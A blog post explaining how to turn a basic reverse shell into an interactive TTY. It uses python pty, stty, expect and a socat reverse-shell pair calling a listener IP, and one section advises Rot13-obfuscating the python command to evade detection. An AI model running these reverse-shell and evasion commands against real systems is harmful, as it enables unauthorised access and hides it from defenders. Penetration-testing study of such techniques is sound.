Skip to main content

bartunek.me

Spawning interactive TTY from simple shell

So you got a connection from reverse shell and want to upgrade it to a fully interactive TTY? Below you will find a set of commands that you can use to spawn interactive terminal from “dumb” shell to have all features of interactive terminal: tab-completion, access to history with arrow keys, job control, STDERR, ability to use programs like vim, su, login, ssh, etc.

The topic isn’t new - it is described multiple times on the internet, however - in this post, I will show you my approach and how to resolve some issues you might encounter.

One important note - if you are running your listener in zsh, run both stty and fg commands in one line (as shown below) - otherwise, it won’t work. For bash, it doesn’t matter. You can run it in one or two lines.

stty

python -c 'import pty; pty.spawn("/bin/bash")'
^Z
stty raw -echo; fg
reset

To have better experience, you can set the shell, terminal type and size to match current terminal window:

python -c 'import pty; pty.spawn("/bin/bash")'
^Z
echo $TERM && tput lines && tput cols

stty raw -echo; fg

reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>

Creating PTY from scripting languages like python is often monitored and will trigger an alert. To avoid basic detection mechanisms based on matching strings use Rot13 to obfuscate python code:

python -c 'exec """vzcbeg cgl; cgl.fcnja("/ova/onfu")""".encode("rot13")'
^Z
stty raw -echo; fg
reset

expect can be used instead of python as well:

expect -c 'spawn /bin/bash' -c interact
^Z
stty raw -echo; fg
reset

socat

When socat is available on the host, you can start a reverse shell with interactive TTY:

Listener:

socat file:`tty`,raw,echo=0 tcp-listen:8090

Client:

socat tcp:<LISTENER-IP-ADDRESS>:8090 exec:"bash -li",pty,stderr,setsid,sigint,sane

References:
http://pentestmonkey.net/blog/post-exploitation-without-a-tty
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys